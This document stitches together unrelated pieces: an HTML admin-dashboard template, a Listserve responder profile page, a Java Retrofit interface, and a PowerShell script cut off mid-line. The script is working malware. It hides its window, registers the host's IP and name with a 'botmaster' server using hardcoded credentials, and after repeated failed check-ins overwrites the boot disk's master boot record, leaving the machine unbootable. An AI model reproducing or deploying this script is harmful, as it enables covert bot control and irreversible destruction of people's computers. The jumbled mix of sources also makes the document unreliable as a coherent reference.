<code>nestable-dark</code> class to your list.</p> <div class="dd nestable"> <ol class="dd-list nestable-dark"> <li class="dd-item" data-id="9"> <div class="dd-handle">Item 9</div> </li> <li class="dd-item" data-id="10"> <div class="dd-handle">Item 10</div> </li> <li class="dd-item" data-id="11"> <div class="dd-handle">Item 11</div> <ol class="dd-list"> <li class="dd-item" data-id="12"> <div class="dd-handle">Item 12</div> </li> <li class="dd-item" data-id="13"> <div class="dd-handle">Item 13</div> </li> <li class="dd-item" data-id="14"> <div class="dd-handle">Item 14</div> </li> </ol> </li> </ol> </div> </div> </div> </div> </div> </div> <div class="col-lg-12 portlets"> <div class="panel"> <div class="panel-header panel-controls"> <h3><i class="icon-bulb"></i> Drag <strong>Button</strong> Option</h3> </div> <div class="panel-content"> <p>You can add a button that permit to move list only on clicking on it.</p> <div class="row"> <div class="col-md-6"> <h3><strong>White</strong> style</h3> <div class="dd nestable"> <ol class="dd-list"> <li class="dd-item dd3-item" data-id="1"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 1</div> </li> <li class="dd-item dd3-item" data-id="2"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 2</div> <ol class="dd-list"> <li class="dd-item dd3-item" data-id="3"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 3</div> </li> <li class="dd-item dd3-item" data-id="4"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 4</div> </li> <li class="dd-item dd3-item" data-id="5"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 5</div> <ol class="dd-list"> <li class="dd-item dd3-item" data-id="6"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 6</div> </li> <li class="dd-item dd3-item" data-id="7"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 7</div> </li> <li class="dd-item dd3-item" data-id="8"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 8</div> </li> </ol> </li> <li class="dd-item dd3-item" data-id="9"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 9</div> </li> <li class="dd-item dd3-item" data-id="10"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 10</div> </li> </ol> </li> <li class="dd-item dd3-item" data-id="11"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 11</div> </li> <li class="dd-item dd3-item" data-id="12"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 12</div> </li> </ol> </div> </div> <div class="col-md-6"> <h3><strong>Dark</strong> style</h3> <div class="dd nestable"> <ol class="dd-list nestable-dark"> <li class="dd-item dd3-item" data-id="13"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 13</div> </li> <li class="dd-item dd3-item" data-id="14"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 14</div> </li> <li class="dd-item dd3-item" data-id="15"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 15</div> <ol class="dd-list"> <li class="dd-item dd3-item" data-id="16"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 16</div> </li> <li class="dd-item dd3-item" data-id="17"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 17</div> </li> <li class="dd-item dd3-item" data-id="18"> <div class="dd-handle dd3-handle"></div> <div class="dd3-content">Item 18</div> </li> </ol> </li> </ol> </div> </div> </div> </div> </div> </div> </div> <div class="footer"> <div class="copyright"> <p class="pull-left sm-pull-reset"> <span>Copyright <span class="copyright">©</span> 2016 </span> <span>THEMES LAB</span>. <span>All rights reserved. </span> </p> <p class="pull-right sm-pull-reset"> <span><a href="#" class="m-r-10">Support</a> | <a href="#" class="m-l-10 m-r-10">Terms of use</a> | <a href="#" class="m-l-10">Privacy Policy</a></span> </p> </div> </div> </div> <!-- END PAGE CONTENT --> </div> <!-- END MAIN CONTENT --> <!-- BEGIN BUILDER --> <div class="builder hidden-sm hidden-xs" id="builder"> <a class="builder-toggle"><i class="icon-wrench"></i></a> <div class="inner"> <div class="builder-container"> <a href="#" class="btn btn-sm btn-default" id="reset-style">reset default style</a> <h4>Layout options</h4> <div class="layout-option layout-option-sidebar-fixed"> <span> Fixed Sidebar</span> <label class="switch pull-right"> <input data-layout="sidebar" id="switch-sidebar" type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option layout-option-sidebar-hover"> <span> Sidebar on Hover</span> <label class="switch pull-right"> <input data-layout="sidebar-hover" id="switch-sidebar-hover" type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option"> <span> Sidebar on Top</span> <label class="switch pull-right"> <input data-layout="sidebar-top" id="switch-sidebar-top" type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option layout-option-submenu-hover"> <span> Submenu on Hover</span> <label class="switch pull-right"> <input data-layout="submenu-hover" id="switch-submenu-hover" type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option layout-option-fixed-topbar"> <span>Fixed Topbar</span> <label class="switch pull-right"> <input data-layout="topbar" id="switch-topbar" type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option layout-option-boxed"> <span>Boxed Layout</span> <label class="switch pull-right"> <input data-layout="boxed" id="switch-boxed" type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <h4 class="border-top">Color</h4> <div class="row"> <div class="col-xs-12"> <div class="theme-color bg-dark" data-main="default" data-color="#2B2E33"></div> <div class="theme-color background-primary" data-main="primary" data-color="#319DB5"></div> <div class="theme-color bg-red" data-main="red" data-color="#C75757"></div> <div class="theme-color bg-green" data-main="green" data-color="#1DA079"></div> <div class="theme-color bg-orange" data-main="orange" data-color="#D28857"></div> <div class="theme-color bg-purple" data-main="purple" data-color="#B179D7"></div> <div class="theme-color bg-blue" data-main="blue" data-color="#4A89DC"></div> </div> </div> <h4 class="border-top">Theme</h4> <div class="row row-sm"> <div class="col-xs-6"> <div class="theme clearfix sdtl" data-theme="sdtl"> <div class="header theme-left"></div> <div class="header theme-right-light"></div> <div class="theme-sidebar-dark"></div> <div class="bg-light"></div> </div> </div> <div class="col-xs-6"> <div class="theme clearfix sltd" data-theme="sltd"> <div class="header theme-left"></div> <div class="header theme-right-dark"></div> <div class="theme-sidebar-light"></div> <div class="bg-light"></div> </div> </div> <div class="col-xs-6"> <div class="theme clearfix sdtd" data-theme="sdtd"> <div class="header theme-left"></div> <div class="header theme-right-dark"></div> <div class="theme-sidebar-dark"></div> <div class="bg-light"></div> </div> </div> <div class="col-xs-6"> <div class="theme clearfix sltl" data-theme="sltl"> <div class="header theme-left"></div> <div class="header theme-right-light"></div> <div class="theme-sidebar-light"></div> <div class="bg-light"></div> </div> </div> </div> <h4 class="border-top">Background</h4> <div class="row"> <div class="col-xs-12"> <div class="bg-color bg-clean" data-bg="clean" data-color="#F8F8F8"></div> <div class="bg-color bg-lighter" data-bg="lighter" data-color="#EFEFEF"></div> <div class="bg-color bg-light-default" data-bg="light-default" data-color="#E9E9E9"></div> <div class="bg-color bg-light-blue" data-bg="light-blue" data-color="#E2EBEF"></div> <div class="bg-color bg-light-purple" data-bg="light-purple" data-color="#E9ECF5"></div> <div class="bg-color bg-light-dark" data-bg="light-dark" data-color="#DCE1E4"></div> </div> </div> </div> </div> </div> <!-- END BUILDER --> </section> <!-- BEGIN QUICKVIEW SIDEBAR --> <div id="quickview-sidebar"> <div class="quickview-header"> <ul class="nav nav-tabs"> <li class="active"><a href="#chat" data-toggle="tab">Chat</a></li> <li><a href="#notes" data-toggle="tab">Notes</a></li> <li><a href="#settings" data-toggle="tab" class="settings-tab">Settings</a></li> </ul> </div> <div class="quickview"> <div class="tab-content"> <div class="tab-pane fade active in" id="chat"> <div class="chat-body current"> <div class="chat-search"> <form class="form-inverse" action="#" role="search"> <div class="append-icon"> <input type="text" class="form-control" placeholder="Search contact..."> <i class="icon-magnifier"></i> </div> </form> </div> <div class="chat-groups"> <div class="title">GROUP CHATS</div> <ul> <li><i class="turquoise"></i> Favorites</li> <li><i class="turquoise"></i> Office Work</li> <li><i class="turquoise"></i> Friends</li> </ul> </div> <div class="chat-list"> <div class="title">FAVORITES</div> <ul> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar13.png" alt="avatar" /> </div> <div class="user-details"> <div class="user-name">Bobby Brown</div> <div class="user-txt">On the road again...</div> </div> <div class="user-status"> <i class="online"></i> </div> </li> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar5.png" alt="avatar" /> <div class="pull-right badge badge-danger">3</div> </div> <div class="user-details"> <div class="user-name">Alexa Johnson</div> <div class="user-txt">Still at the beach</div> </div> <div class="user-status"> <i class="away"></i> </div> </li> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar10.png" alt="avatar" /> </div> <div class="user-details"> <div class="user-name">Bobby Brown</div> <div class="user-txt">On stage...</div> </div> <div class="user-status"> <i class="busy"></i> </div> </li> </ul> </div> <div class="chat-list"> <div class="title">FRIENDS</div> <ul> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar7.png" alt="avatar" /> <div class="pull-right badge badge-danger">3</div> </div> <div class="user-details"> <div class="user-name">James Miller</div> <div class="user-txt">At work...</div> </div> <div class="user-status"> <i class="online"></i> </div> </li> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar11.png" alt="avatar" /> </div> <div class="user-details"> <div class="user-name">Fred Smith</div> <div class="user-txt">Waiting for tonight</div> </div> <div class="user-status"> <i class="offline"></i> </div> </li> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar8.png" alt="avatar" /> </div> <div class="user-details"> <div class="user-name">Ben Addams</div> <div class="user-txt">On my way to NYC</div> </div> <div class="user-status"> <i class="offline"></i> </div> </li> </ul> </div> </div> <div class="chat-conversation"> <div class="conversation-header"> <div class="user clearfix"> <div class="chat-back"> <i class="icon-action-undo"></i> </div> <div class="user-details"> <div class="user-name">James Miller</div> <div class="user-txt">On the road again...</div> </div> </div> </div> <div class="conversation-body"> <ul> <li class="img"> <div class="chat-detail"> <span class="chat-date">today, 10:38pm</span> <div class="conversation-img"> <img src="../assets/global/images/avatars/avatar4.png" alt="avatar 4"/> </div> <div class="chat-bubble"> <span>Hi you!</span> </div> </div> </li> <li class="img"> <div class="chat-detail"> <span class="chat-date">today, 10:45pm</span> <div class="conversation-img"> <img src="../assets/global/images/avatars/avatar4.png" alt="avatar 4"/> </div> <div class="chat-bubble"> <span>Are you there?</span> </div> </div> </li> <li class="img"> <div class="chat-detail"> <span class="chat-date">today, 10:51pm</span> <div class="conversation-img"> <img src="../assets/global/images/avatars/avatar4.png" alt="avatar 4"/> </div> <div class="chat-bubble"> <span>Send me a message when you come back.</span> </div> </div> </li> </ul> </div> <div class="conversation-message"> <input type="text" placeholder="Your message..." class="form-control form-white send-message" /> <div class="item-footer clearfix"> <div class="footer-actions"> <i class="icon-rounded-marker"></i> <i class="icon-rounded-camera"></i> <i class="icon-rounded-paperclip-oblique"></i> <i class="icon-rounded-alarm-clock"></i> </div> </div> </div> </div> </div> <div class="tab-pane fade" id="notes"> <div class="list-notes current withScroll"> <div class="notes "> <div class="row"> <div class="col-md-12"> <div id="add-note"> <i class="fa fa-plus"></i>ADD A NEW NOTE </div> </div> </div> <div id="notes-list"> <div class="note-item media current fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Reset my account password</p> </div> <p class="note-desc hidden">Break security reasons.</p> <p><small>Tuesday 6 May, 3:52 pm</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Call John</p> </div> <p class="note-desc hidden">He have my laptop!</p> <p><small>Thursday 8 May, 2:28 pm</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Buy a car</p> </div> <p class="note-desc hidden">I'm done with the bus</p> <p><small>Monday 12 May, 3:43 am</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Don't forget my notes</p> </div> <p class="note-desc hidden">I have to read them...</p> <p><small>Wednesday 5 May, 6:15 pm</small></p> </div> </div> <div class="note-item media current fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Reset my account password</p> </div> <p class="note-desc hidden">Break security reasons.</p> <p><small>Tuesday 6 May, 3:52 pm</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Call John</p> </div> <p class="note-desc hidden">He have my laptop!</p> <p><small>Thursday 8 May, 2:28 pm</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Buy a car</p> </div> <p class="note-desc hidden">I'm done with the bus</p> <p><small>Monday 12 May, 3:43 am</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Don't forget my notes</p> </div> <p class="note-desc hidden">I have to read them...</p> <p><small>Wednesday 5 May, 6:15 pm</small></p> </div> </div> </div> </div> </div> <div class="detail-note note-hidden-sm"> <div class="note-header clearfix"> <div class="note-back"> <i class="icon-action-undo"></i> </div> <div class="note-edit">Edit Note</div> <div class="note-subtitle">title on first line</div> </div> <div id="note-detail"> <div class="note-write"> <textarea class="form-control" placeholder="Type your note here"></textarea> </div> </div> </div> </div> <div class="tab-pane fade" id="settings"> <div class="settings"> <div class="title">ACCOUNT SETTINGS</div> <div class="setting"> <span> Show Personal Statut</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> <p class="setting-info">Lorem ipsum dolor sit amet consectetuer.</p> </div> <div class="setting"> <span> Show my Picture</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> <p class="setting-info">Lorem ipsum dolor sit amet consectetuer.</p> </div> <div class="setting"> <span> Show my Location</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> <p class="setting-info">Lorem ipsum dolor sit amet consectetuer.</p> </div> <div class="title">CHAT</div> <div class="setting"> <span> Show User Image</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="setting"> <span> Show Fullname</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="setting"> <span> Show Location</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="setting"> <span> Show Unread Count</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="title">STATISTICS</div> <div class="settings-chart"> <div class="progress visible"> <progress class="progress-bar-primary stat1" value="82" max="100"></progress> <div class="progress-info"> <span class="progress-name">Stat 1</span> <span class="progress-value">82%</span> </div> </div> </div> <div class="settings-chart"> <div class="progress visible"> <progress class="progress-bar-primary stat1" value="43" max="100"></progress> <div class="progress-info"> <span class="progress-name">Stat 2</span> <span class="progress-value">43%</span> </div> </div> </div> <div class="m-t-30" style="width:100%"> <canvas id="setting-chart" height="300"></canvas> </div> </div> </div> </div> </div> </div> <!-- END QUICKVIEW SIDEBAR --> <!-- BEGIN SEARCH --> <div id="morphsearch" class="morphsearch"> <form class="morphsearch-form"> <input class="morphsearch-input" type="search" placeholder="Search..."/> <button class="morphsearch-submit" type="submit">Search</button> </form> <div class="morphsearch-content withScroll"> <div class="dummy-column user-column"> <h2>Users</h2> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar1_big.png" alt="Avatar 1"/> <h3>John Smith</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar2_big.png" alt="Avatar 2"/> <h3>Bod Dylan</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar3_big.png" alt="Avatar 3"/> <h3>Jenny Finlan</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar4_big.png" alt="Avatar 4"/> <h3>Harold Fox</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar5_big.png" alt="Avatar 5"/> <h3>Martin Hendrix</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar6_big.png" alt="Avatar 6"/> <h3>Paul Ferguson</h3> </a> </div> <div class="dummy-column"> <h2>Articles</h2> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/1.jpg" alt="1"/> <h3>How to change webdesign?</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/2.jpg" alt="2"/> <h3>News From the sky</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/3.jpg" alt="3"/> <h3>Where is the cat?</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/4.jpg" alt="4"/> <h3>Just another funny story</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/5.jpg" alt="5"/> <h3>How many water we drink every day?</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/6.jpg" alt="6"/> <h3>Drag and drop tutorials</h3> </a> </div> <div class="dummy-column"> <h2>Recent</h2> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/7.jpg" alt="7"/> <h3>Design Inspiration</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/8.jpg" alt="8"/> <h3>Animals drawing</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/9.jpg" alt="9"/> <h3>Cup of tea please</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/10.jpg" alt="10"/> <h3>New application arrive</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/11.jpg" alt="11"/> <h3>Notification prettify</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/12.jpg" alt="12"/> <h3>My article is the last recent</h3> </a> </div> </div> <!-- /morphsearch-content --> <span class="morphsearch-close"></span> </div> <!-- END SEARCH --> <!-- BEGIN PRELOADER --> <div class="loader-overlay"> <div class="spinner"> <div class="bounce1"></div> <div class="bounce2"></div> <div class="bounce3"></div> </div> </div> <!-- END PRELOADER --> <a href="#" class="scrollup"><i class="fa fa-angle-up"></i></a> <script src="../assets/global/plugins/jquery/jquery-3.1.0.min.js"></script> <script src="../assets/global/plugins/jquery/jquery-migrate-3.0.0.min.js"></script> <script src="../assets/global/plugins/jquery-ui/jquery-ui.min.js"></script> <script src="../assets/global/plugins/gsap/main-gsap.min.js"></script> <script src="../assets/global/plugins/tether/js/tether.min.js"></script> <script src="../assets/global/plugins/bootstrap/js/bootstrap.min.js"></script> <script src="../assets/global/plugins/appear/jquery.appear.js"></script> <script src="../assets/global/plugins/jquery-cookies/jquery.cookies.min.js"></script> <!-- Jquery Cookies, for theme --> <script src="../assets/global/plugins/jquery-block-ui/jquery.blockUI.min.js"></script> <!-- simulate synchronous behavior when using AJAX --> <script src="../assets/global/plugins/bootbox/bootbox.min.js"></script> <!-- Modal with Validation --> <script src="../assets/global/plugins/mcustom-scrollbar/jquery.mCustomScrollbar.concat.min.js"></script> <!-- Custom Scrollbar sidebar --> <script src="../assets/global/plugins/bootstrap-dropdown/bootstrap-hover-dropdown.min.js"></script> <!-- Show Dropdown on Mouseover --> <script src="../assets/global/plugins/charts-sparkline/sparkline.min.js"></script> <!-- Charts Sparkline --> <script src="../assets/global/plugins/retina/retina.min.js"></script> <!-- Retina Display --> <script src="../assets/global/plugins/select2/dist/js/select2.full.min.js"></script> <!-- Select Inputs --> <script src="../assets/global/plugins/icheck/icheck.min.js"></script> <!-- Checkbox & Radio Inputs --> <script src="../assets/global/plugins/backstretch/backstretch.min.js"></script> <!-- Background Image --> <script src="../assets/global/plugins/bootstrap-progressbar/bootstrap-progressbar.min.js"></script> <!-- Animated Progress Bar --> <script src="../assets/global/plugins/charts-chartjs/Chart.min.js"></script> <script src="../assets/global/js/builder.js"></script> <!-- Theme Builder --> <script src="../assets/global/js/sidebar_hover.js"></script> <!-- Sidebar on Hover --> <script src="../assets/global/js/application.js"></script> <!-- Main Application Script --> <script src="../assets/global/js/plugins.js"></script> <!-- Main Plugin Initialization Script --> <script src="../assets/global/js/widgets/notes.js"></script> <!-- Notes Widget --> <script src="../assets/global/js/quickview.js"></script> <!-- Chat Script --> <script src="../assets/global/js/pages/search.js"></script> <!-- Search Script --> <script src="../assets/admin/layout1/js/layout.js"></script> </body> </html>
--- layout: page title: Professor in New York, USA - 41 date: 2015-12-03 20:16:36 -0800 categories: post --- ### What do you like to do in your free time? <p>Play with my kid, go out with my wife or friends, sleep</p> ### What do you know the most about? <p>Mobile and online media (audio, video, streaming), emerging technology, programming</p> ### What do you like about the Listserve? <p>I am a fan of email, think it is an interesting medium and like that the listserve is a nice non-commercial experiment in that space. I like the exposure to a bunch of different person's thoughts each day.</p> ### What do you NOT like about the Listserve? <p>I don't always like the content of the messages but I wouldn't change that either.</p> ### Why are you interested in this project? <p>I like to experiment with media, especially media that connects people. I also teach in the department that students who created the listserve were in when they created it.</p> ### If there were Listserve 'Gods' and you could ask them a question, what would it be? <p>nan</p> [Back][1] [1]: /responders/all
package com.icharge.api; import com.icharge.beans.KnowListBean; import com.icharge.beans.LocationListBean; import retrofit.Callback; import retrofit.http.GET; import retrofit.http.Path; /** * Created by Jinsen on 15/5/23. */ public interface IChargeServerAPI { @GET("/api/articles") void getArticles(Callback<KnowListBean> response); @GET("/api/chargers/{city}") void getChargers(@Path("city") String city, Callback<LocationListBean> response); }
$t = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);' add-type -name win -member $t -namespace native [native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0) $Serverip="192.168.1.130" $filename = "C:\count.txt" $count = Get-Content $filename -First 1 $count = [convert]::ToInt32($count, 10) #pings master if fails count is incremented and saved #if count execceds 4 the MFT is overwritten $compName = $env:COMPUTERNAME $pwn = "password" $spwd = ConvertTo-SecureString -AsPlainText $pwn -Force $cred = New-Object -TypeName System.Management.Automation.PSCredential -argumentlist "botmaster",$spwd $myip = $(ipconfig | where {$_ -match 'IPv4.+\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' } | out-null; $Matches[1]) if(Test-Connection($Serverip) -Quiet ){ Invoke-Command $Serverip -ScriptBlock{ param($myip,$compName) If(!(Select-String -Pattern $myip -Path 'C:\Program Files\botlist.csv' -Quiet)){ Add-Content 'C:\Program Files\botlist.csv' -Value "$myip,$compName,0"} } -Credential $cred -ArgumentList $myip,$compName $count=0 Set-Content -Path $filename -Value $count }else{ $count++ if($count -le 4){ Set-Content -Path $filename -Value $count }else{ $BootMessage = `'Bot Failed to connect, bot terminated`' if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { throw 'This script must be executed from an elevated command prompt.' } #region define P/Invoke types dynamically $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('kernel32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($True)) # Define [Win32.Kernel32]::DeviceIoControl $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CreateFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::WriteFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CloseHandle $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32 = $TypeBuilder.CreateType() #endregion $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) # Convert the boot message to a byte array $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) [Byte[]] $MBRInfectionCode = @( 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer ) + $MessageBytes $MBRSize = [UInt32] 512 if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) { throw `"The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes.`" } # Allocate 512 bytes for the MBR $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) # Zero-initialize the allocated unmanaged memory 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) # Write boot record signature to the end of the MBR [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) # Get the device ID of the boot disk $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 $FILE_SHARE_READWRITE = 2 -bor 1 $OPEN_EXISTING = 3 # Obtain a read handle to the raw disk $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) { throw `"Unable to obtain read/write handle to $DeviceID`" } $BytesReturned = [UInt32] 0 $BytesWritten = [UInt32] 0 $FSCTL_LOCK_VOLUME = 0x00090018 $FSCTL_UNLOCK_VOLUME = 0x0009001C $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = 